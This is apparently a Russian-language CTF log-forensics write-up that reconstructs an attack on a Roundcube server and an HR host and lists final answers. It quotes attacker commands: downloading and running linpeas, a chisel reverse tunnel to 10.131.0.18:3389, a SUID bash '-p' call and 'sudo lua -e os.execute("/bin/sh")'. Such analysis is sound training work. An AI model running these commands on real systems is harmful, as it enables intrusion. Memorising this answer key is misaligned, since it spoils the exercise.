# szi-logs-9-3

## Идея
Нужно восстановить цепочку атаки по логам из `public`:
- `access_roundcube.log` — веб-запросы и User-Agent;
- `roundcube.csv` — команды на сервере Roundcube;
- `hr.csv` — команды и процессы на узле HR.

Далее для каждого подпункта берём явный IOC/команду из логов.

## Решение

1. **Утилита для brute-force директорий**
	В `access_roundcube.log` есть массовый перебор путей с User-Agent: `Chameleon / https://github.com/iustin24/chameleon`.
	Ответ: `chameleon`.

2. **Уязвимость для RCE в Roundcube**
	В том же логе есть явный маркер: `Roundcube exploit CVE-2025-49113 - Hakai Security`.
	Ответ: `CVE-2025-49113`.

3. **Скрипты для локального перечисления**
	В `roundcube.csv` видно скачивание и запуск: `curl .../linpeas_small.sh`, `wget .../linpeas_small.sh`, `bash linpeas_small.sh`, `/bin/bash /tmp/linpeas_small.sh`. То есть использовались варианты PEASS: `linpeas_small.sh` и `linpeas.sh`.
	Ответ: `linpeas_small.sh_linpeas.sh`.

4. **Команда привилегированного входа на Roundcube**
	В `roundcube.csv` видно эксплуатацию бинаря: `/usr/local/bin/specialbash -p`.
	Ответ: `/usr/local/bin/specialbash -p`.

5. **Утилита для port forwarding**
	В `roundcube.csv` есть загрузка и запуск: `wget .../jpillora/chisel...`, `./chisel_1.11.3_linux_amd64 client ...`.
	Ответ: `chisel`.

6. **Цель pivot на внутреннем хосте**
	В командах chisel и предварительных проверках видно целевой сервис: `telnet 10.131.0.18 3389`, `... R:3389:10.131.0.18:3389`.
	Ответ: `10.131.0.18:3389`.

7. **GUI-окружение на компрометированном HR**
	В `hr.csv` фиксируются процессы KDE-сессии: `/usr/bin/kde-systemd-start-condition`, `startplasma-x11`, `/usr/bin/kwin_x11 --replace`, `/usr/bin/plasmashell --no-respawn`.
	Ответ: `KDE`.

8. **Команда повышения привилегий на HR**
	В `hr.csv` есть явная цепочка: `lua -e os.execute("/bin/sh")`, `sudo lua -e os.execute("/bin/sh")`.
	Ответ: `lua -e os.execute("/bin/sh")` или `sudo lua -e os.execute("/bin/sh")`.

## Финальные ответы

1. `chameleon`
2. `CVE-2025-49113`
3. `linpeas_small.sh_linpeas.sh`
4. `/usr/local/bin/specialbash -p`
5. `chisel`
6. `10.131.0.18:3389`
7. `KDE`
8. `lua -e os.execute("/bin/sh")` или `sudo lua -e os.execute("/bin/sh")`
